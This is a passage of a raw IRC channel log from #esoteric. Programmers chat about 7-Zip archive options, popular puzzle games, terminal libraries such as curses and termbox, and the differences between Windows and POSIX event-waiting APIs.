:ket1v_!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395539694 561188 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Read error: Connection reset by peer < 1395540060 227740 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :What are the proper archive types for the -t option in 7-Zip? < 1395540088 362994 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I know what archive types it supports but I don't know what name to use with the -t option to specify them < 1395540150 972153 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Specifically if I have a self-extracting archive I want to be able to tell it whether I want to load it as a ZIP or as a EXE < 1395540288 988754 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :-texe doesn't seem to work. < 1395540589 274377 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(7-Zip does support a lot more file types than it documents: It can extract sections from Windows .EXE files, as well as DOCFILE chunks (which are used mainly in Microsoft Office), and a number of other things.) < 1395540667 102534 :boily!~boily@96.127.201.149 QUIT :Quit: GLOORX VLOQ < 1395540671 278948 :metasepia!~metasepia@96.127.201.149 QUIT :Remote host closed the connection < 1395541203 969550 :mysanthrop!~myname@84.200.43.57 PRIVMSG #esoteric :self extracting archives? < 1395541206 786700 :mysanthrop!~myname@84.200.43.57 PRIVMSG #esoteric :seriously? < 1395541212 363487 :mysanthrop!~myname@84.200.43.57 PRIVMSG #esoteric :do we still live in the 90s? < 1395541215 522765 :mysanthrop!~myname@84.200.43.57 NICK :myname < 1395541226 539965 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :zzo38 does < 1395541233 501227 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ah < 1395541240 918009 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i forgot, the guy that writes dos games < 1395541272 102584 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :does zzo38 live in portland < 1395541297 895711 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :++ < 1395541300 185332 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :he or she is at Canada < 1395541320 78175 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and has an interesting and unique view on the world < 1395541330 10907 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i mean, seriously, even windows xp which is over 10 years old can handle zip files < 1395541339 405879 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :oh! < 1395541347 179603 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ACTION tackles zzo38  < 1395541351 186419 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :zzo38: where are my donuts? < 1395541351 407749 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395541354 644331 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :zzo38 can be pretty interesting to talk to < 1395541361 982906 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and has useful views on things < 1395541362 261462 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Antonym of "destination"? < 1395541367 35063 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :you have to deal with the lack of context, though < 1395541373 865910 :myname!~myname@84.200.43.57 PRIVMSG #esoteric ::D < 1395541375 37214 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Taneb: "source", in programming < 1395541389 268664 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :for journeys, I'm less certain < 1395541395 421396 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"starting point"? "origin"? < 1395541455 236857 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :so... antonym is a synonym of opposite? < 1395541500 17394 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :myname: yes < 1395541505 317952 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's also an opposite of "synonym" < 1395541517 164457 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :myname, in one sense, yes < 1395541552 685846 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :zzo38: what is your origin story? how did you get your powers? < 1395541574 802930 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ais523: the opposite of synonym is the synonym of opposite < 1395541577 835133 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :pretty interesting < 1395541579 72687 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, please don't pick on him < 1395541596 120453 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the rest of the Internet does enough of that < 1395541616 931732 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lexande: you now zzo is pretty zzoic? < 1395541635 739432 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :myname: ? < 1395541641 30732 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :know < 1395541643 8097 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :damnit < 1395541661 923428 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :yes but what do you mean by "zzoic"? < 1395541685 310758 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think we should stop talking about zzo38 until he's had time to tell his origin story < 1395541690 486238 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what's that bot's trigger for zzo? < 1395541742 548044 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it feels unfair picking on someone who isn't here (in fact, it's unfair to pick on someone even if they are here) < 1395541767 956606 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :well, i do think he's a great guy < 1395541824 163249 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :ACTION vaguely wonders what people say behind his back < 1395541835 411151 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :shachaf: who are you? < 1395541846 185236 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :hi < 1395541897 509449 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :Sgeo: the channel's logged, you can look it up if you like < 1395542082 410290 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :i guess wisdom has origin stories for most people here < 1395542106 679366 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :i don't know my origin story < 1395542152 611427 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what defines an origin story in this context? < 1395542152 860360 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Are there groups of people who don't think their preferred activity is the best thing to teach kids? As in, chess players encourage people to play chess, programmers think programming classes are a great idea, some violinists has this on her page: "On October 1, 2013, Stirling teamed with the non-profit Atlanta Music Project to help spread appreciation of music to children who might not otherwise have the chance. The Atlanta Music Project's < 1395542152 915331 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :mission was "to inspire social change by providing Atlanta's under-served youth the opportunity to learn and perform music in orchestras and choirs."" < 1395542154 185547 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :etc etc < 1395542167 344342 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :porn stars < 1395542191 110173 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Sgeo: i don't think programming classes are a great idea < 1395542219 639232 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :kmc: :D < 1395542302 761344 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :kmc: porn stars probably tend to support better sex ed? < 1395542316 415241 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :"sex ed" < 1395542323 577976 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :with educational videos and stuff < 1395542328 775940 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :which is in that direction at least < 1395542405 890686 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :politicians don't generally try to teach schoolchildren politics, do they? < 1395542413 539526 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :especially given that they actually have the ability to do so < 1395542429 332053 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :at least in the UK, where they have some input into the required curriculum that must be taught to all children < 1395542448 806687 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the nearest we come to that is Citizenship, which doesn't actually work as a subject < 1395542454 360840 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :given that most teachers don't take it seriously < 1395542466 741698 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and even that's a pretty recent innovation < 1395542484 47586 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :admittedly, I'd have found that a really useful subject if it were actually taught well < 1395542510 622398 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i do think most politicians with that influence have an easier life with people not knowing stuff about politics < 1395542544 809430 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :lexande: What powers? What origin story? < 1395542651 725356 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :I think that's the question for you < 1395542733 188770 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :While Windows XP has support for ZIP archives, it isn't very good, since for one thing it isn't supported on command-line access (although for GUI, the built-in ZIP support is good enough) < 1395543468 240686 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :'They're called "alpha males" because they're broken, primitive, buggy versions of real humans.' < 1395543536 945277 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :meh let's not get all eye for an eye on dehumanization < 1395543540 971581 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :that seems like it will end badly < 1395543707 303454 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :i got stuck playing the fibonacci version of 2048 for hours friday night, and here you're talking about it again, teasing me with it. < 1395543751 435918 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :doge-mille-quarante-huit < 1395543752 880871 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :is the fibonacci version mathematically equivalent, or actually different? < 1395543772 352082 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: link < 1395543778 341027 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, I'm not quite sure how games get this popular so quickly < 1395543785 540352 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: it's the same game, but it takes one less tile to get each number < 1395543803 437641 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :someone will have to explain flappy bird to me someday, I know that it was some sort of widely popular game thing thas was easy to implement < 1395543805 474296 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but not what it was < 1395543824 928951 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :http://mike199515.free3v.com/1597/2.htm < 1395543831 163109 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ais523: it is like that crappy helicopter games years ago < 1395543833 962405 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but worse < 1395543847 820217 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i don't get it either < 1395543848 218461 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: press a button to make the thing jump up a bit, then it falls down < 1395543857 43898 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :try to avoid obstacles < 1395543871 179247 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :does the bird move left and right? or do the obstacles? < 1395543877 390131 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :side scrolling obstacles < 1395543880 47403 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :right < 1395543888 805109 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that game has been around for ages < 1395543891 611822 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :there's a better flash version < 1395543911 286241 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: yes but kids weren't killing each other over high scores until recently < 1395543911 416840 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :each version of the game is equally crappy < 1395543914 130620 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I seem to remember one of the microgames in one of the Warioware game worked like that, except with blowing into the controller < 1395543918 440086 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :it only differs in how hard it is < 1395543939 925757 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but then, the entire way Warioware works is to have a huge number of games that are individually crappy, but each one only lasts three seconds so who cares < 1395543945 875521 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :or was it five? < 1395543955 654393 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, in that time period, you have to deduce the rules of the game, in addition to completing it < 1395543974 367241 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it gets less interesting once you have them all memorized < 1395543992 509667 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :this is the decent one: http://techcrunch.com/2014/02/12/canabalt-super-hexagon-flappy-bird/ < 1395544031 782523 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :even impossible game is waaaaaaay better than flappy bird < 1395544049 156556 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :super flappy angry doge 2048 < 1395544057 717820 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :64 < 1395544060 585925 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :dot js < 1395544063 348602 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so I guess the next problem is "how do you make an easy-to-program game that randomly becomes wildly popular overnight?" < 1395544072 60511 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :kmc: you won < 1395544078 537509 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :it's webscale < 1395544085 122694 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :ais523: LUCK < 1395544087 419328 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :with svg < 1395544088 569839 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :(and marketing) < 1395544111 600855 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :but then better games tend to become wildly popular more often, so that's the better route < 1395544112 841061 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I don't think Flappy Bird had marketing < 1395544124 265462 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :like frex QuizUp...do you know anyone who doesn't have that game? < 1395544128 697532 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu JOIN :#esoteric < 1395544130 56761 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ACTION <- < 1395544131 112649 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I have a game I made in C# that I should convert to flash < 1395544132 15401 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :And fix < 1395544133 636317 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :quintopia: I've never heard of it < 1395544138 963270 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :no flash < 1395544151 233566 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quizduell became pretty popular here < 1395544153 38988 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :flash is a dead end technology < 1395544157 784313 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :plus it sucks < 1395544160 56111 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I think there's at least two Flash to HTML5 compilers going around atm < 1395544166 307651 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Convert the game into different format, such as iNES format < 1395544168 657178 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :does that include shumway? < 1395544168 860233 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :no idea how well they work < 1395544174 659993 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :not sure whether that counts as a "compiler" or not < 1395544184 852081 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what the hell is iNES < 1395544192 317328 :quintopia!~quintopia@unaffiliated/quintopia PRIVMSG #esoteric :so why aren't you all playing 2584 < 1395544202 838844 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :myname: A format for storing ROM images of NES/Famicom cartridges. < 1395544217 250290 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Robozzle was briefly popular here for a while < 1395544221 519872 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :quintopia: i actually like it more than 2048, but 2048 already bored the shit out of me < 1395544236 782341 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Sgeo: wow < 1395544237 974774 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But it's Silverlight :/ < 1395544241 575443 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(These days, even whoever make the iNES format files sometimes never end up making a cartridge.) < 1395544247 710863 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Sgeo: there is a js version < 1395544252 936892 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :Sgeo: also an android app < 1395544254 490436 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :JS version sucks < 1395544258 421160 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :why? < 1395544259 416833 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: There is HTML+JavaScript version too, and now I made DOS version too. < 1395544262 485629 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :works perfectl well < 1395544317 373606 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395544323 425561 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i hardly became 2 or 3 people playing robozzle < 1395544358 193908 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :and robozzle is awesome < 1395544370 28699 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Sgeo: I don't know, what's wrong with JS version either < 1395544385 144354 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :(Although, I think DOS version is more better) < 1395544386 833076 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net QUIT :Client Quit < 1395544394 318764 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :more better < 1395544427 364844 :Sprocklem!~Sprocklem@unaffiliated/sprocklem JOIN :#esoteric < 1395544584 575653 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Let's see if I still suck at Fitznik < 1395544626 185956 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :what is fitznik < 1395544738 45964 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :http://www.screamingduck.com/Fitznik.php < 1395544816 139022 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :is this something like chroma? < 1395544880 165245 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :okay, nevermind, i just don't get the pictures < 1395544900 616649 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Chroma? < 1395544999 315975 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395545061 98151 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :http://www.level7.org.uk/chroma/ < 1395545089 272426 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :also: there is a second ui with ncurses < 1395545096 144520 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :i like that in a game < 1395545107 755583 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Ooh < 1395545120 589880 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I thought you meant this although it makes no sense http://store.steampowered.com/app/241850/ < 1395545145 622743 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :gah, curses < 1395545152 647383 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I wrote a blog post on what's wrong with curses and variants thereof < 1395545159 240202 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Fitznik apparently freezes when minimized too long :( < 1395545169 763652 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(the Windows version of pdcurses is less bad in this respect, incidentally, due to not pretending to be portable) < 1395545266 623813 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :ais523: i jumped over to termbox < 1395545282 273453 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but i do think there aren't many people knowing that < 1395545286 882989 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I haven't heard of termbox; my own solution was to write libuncursed < 1395545299 45993 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :which has various not-found-elsewhere-and-unlikely-to-be features I needed < 1395545341 212862 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :https://github.com/nsf/termbox pretty minimal < 1395545364 406857 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :you may have to write own helper functions, but i am actually okay with it < 1395545383 215135 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :also, making bindings for other language is piece of cake < 1395545404 317250 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :unlike bcurses with its 100s of functions in up to 4 different ways < 1395545408 690073 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :*n < 1395545416 566875 :prooftechnique!~NihilistD@174.63.103.117 JOIN :#esoteric < 1395545430 71419 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :ah, one of my requirements was that it had to be easy to port existing curses code to < 1395545437 29491 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :because I had existing curses code I needed to port to it < 1395545548 527808 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :btw, what are this channel's opinion on Facebook's new language which is basically statically typed PHP? < 1395545557 567912 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :oh my god, there is an android port of enigma (that oxyd like thingie) < 1395545560 273490 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :have to install < 1395545591 230553 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :that's apparently pretty old, unless it was developed in the last few days < 1395545596 297773 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there was discussion about it recently < 1395545610 846308 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also, I have level design credits for Enigma now, I feel somewhat proud of that somehow < 1395545644 79202 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :"Our solution was to architect the type checker as a local server that watches the filesystem. The server keeps all information about the source code in memory and automatically updates itself when a file changes on disk." < 1395545644 583419 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :well. i do like the idea of replacing php with something < 1395545653 444375 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's like flymake, but backwards < 1395545659 217843 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :but 1) i just really don't like facebook < 1395545670 913726 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :2) don't replace a language with a fork of itself < 1395545692 756831 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :curses is such a poor library. Especially the bit where it pretends there are non-VT100 terminals on Unix. < 1395545698 801803 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also they wrote the compiler in ocaml, which is great ammo to use against first-year students < 1395545703 958256 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :pikhq: *non-xterm < 1395545718 606595 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :ais523: Yeah, but all the xterm-alikes are essentially extended VT100s. < 1395545722 500189 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :the entire principle on which curses is based fails, because everything claims to be xterm < 1395545726 67123 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :despite not all acting identically < 1395545755 906216 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :So you might as well just emit codes that should work on pretty much anything vaguely VT100-alike. < 1395545759 815079 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :gah, facebook's blog rewrites outgoing links so it can check how many people click on them? < 1395545796 476197 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Which doesn't get you Windows support, but nothing will without actually calling Windows' console functions. < 1395545807 741401 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :also they have sugar for Maybe, which is unusual < 1395545823 804067 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :pikhq: indeed, also you need to know which ones to call < 1395545854 479824 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :who cares about windows < 1395545864 1456 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Unfortunately, a lot of people use it. < 1395545906 948939 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :I have a faketerm backend that should be reasonably portable < 1395545912 318564 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :once I fix the way it does select() on Windows < 1395545926 139134 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :well, i don't have any mercy for people that like terminal tools but have no unixoid system < 1395545930 523469 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :fun fact: Windows has an API call select that does the same thing as the POSIX version, and all the arguments have identical names < 1395545933 926444 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :but some of them do something different < 1395545941 457380 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :and I didn't notice the first time < 1395545958 487217 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :I though Windows select only worked on sockets though? < 1395545966 545457 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :pikhq: indeed < 1395545985 703860 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :another fun fact: Windows has a generic WaitForMultipleObjects function that works like POSIX select, waiting for arbitrary things < 1395545991 471826 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :/except/ you can't include sockets < 1395546000 328343 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :there's a separate function, which I forget the name of offhand < 1395546005 228986 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if you want to be able to use both sockets and other things < 1395546005 284135 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Ouch. That just hurts. < 1395546013 440240 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :It's like as though they want porting to be hard. < 1395546043 441021 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it's like the socket-implementing people at Microsoft couldn't persuade the WaitForMultipleObjects team to add socket support < 1395546045 204736 :ais523!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :so had to fork it < 1395546160 328236 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :starting to think the important part of "everything is a file" is "everything can be handled by one event loop" < 1395546192 954955 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Pretty much. Everything is a file descriptor. < 1395546205 899793 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Sadly, signals aren't, though you can force it. < 1395546210 76183 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Good ol' self-pipe. < 1395546242 731580 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :yeah, all the parts of UNIX that aren't file descriptors are a pain < 1395546247 231290 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :obviously have a second input fd that's all the signals, in text format < 1395546260 908149 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :well, linux has signalfd() < 1395546264 173510 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :signals especially, but also processes < 1395546277 842592 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :and timerfd and eventfd and various other fds < 1395546283 940931 :pikhq!~pikhq@2602:100:18b2:fbfb:a60:6eff:fece:493 PRIVMSG #esoteric :Yeah, job control is *amazingly* fiddly. < 1395546284 939861 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :shachaf: wow that's literally what i was thinking, nice < 1395546289 958237 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :ugh posix job control < 1395546302 475590 :shachaf!~shachaf@unaffiliated/shachaf PRIVMSG #esoteric :various things are still not available as fds, though < 1395546394 211519 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :an fd is an unforgeable 